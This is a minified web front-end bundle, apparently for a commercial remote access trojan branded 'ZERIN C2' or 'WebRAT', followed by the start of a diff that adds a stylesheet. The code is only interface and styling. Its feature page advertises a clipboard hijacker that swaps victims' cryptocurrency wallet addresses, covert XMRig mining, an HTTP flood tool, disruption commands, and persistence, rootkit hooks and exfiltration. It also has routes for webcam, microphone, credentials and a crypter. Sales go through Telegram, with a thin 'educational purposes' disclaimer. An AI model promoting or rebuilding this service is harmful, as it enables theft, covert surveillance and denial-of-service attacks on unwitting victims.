build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function lS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const $V=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function X2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(X2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(X2,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const FV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function WV({cat:e,index:t}){const{ref:n,visible:r}=lS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(FV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(BV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function UV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function sc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function VV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx($V,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(UV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(sc,{value:String(s),label:"Capabilities"}),a.jsx(sc,{value:"13",label:"Persist Methods"}),a.jsx(sc,{value:"11",label:"Rootkit Hooks"}),a.jsx(sc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(WV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function oc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function HV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function Z2({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function KV(){const[e]=Sx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Cx(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function YV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):Ex()?a.jsx(aA,{}):a.jsx(la,{to:"/login",replace:!0})}function qV(){return a.jsx(j_,{children:a.jsxs(EE,{children:[a.jsx(mt,{path:"/",element:a.jsx(YV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(KV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(VV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(Z2,{children:a.jsx(sA,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(Z2,{children:a.jsx(oA,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(oc,{children:a.jsx(bV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(oc,{children:a.jsx(SV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(oc,{children:a.jsx(PV,{})})}),a.jsxs(mt,{element:a.jsx(oc,{children:a.jsx(Q_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(WU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(mV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(hV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(LV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(TV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(HV,{children:a.jsx(OV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Mm.createRoot(document.getElementById("root")).render(a.jsx(Ah.StrictMode,{children:a.jsx(RE,{children:a.jsx(qV,{})})})); diff --git a/dist/assets/index-BpSkMVEN.css b/dist/assets/index-BpSkMVEN.css new file mode 100755 index 0000000..7e7cedb --- /dev/null +++ b/dist/assets/index-BpSkMVEN.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\]{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 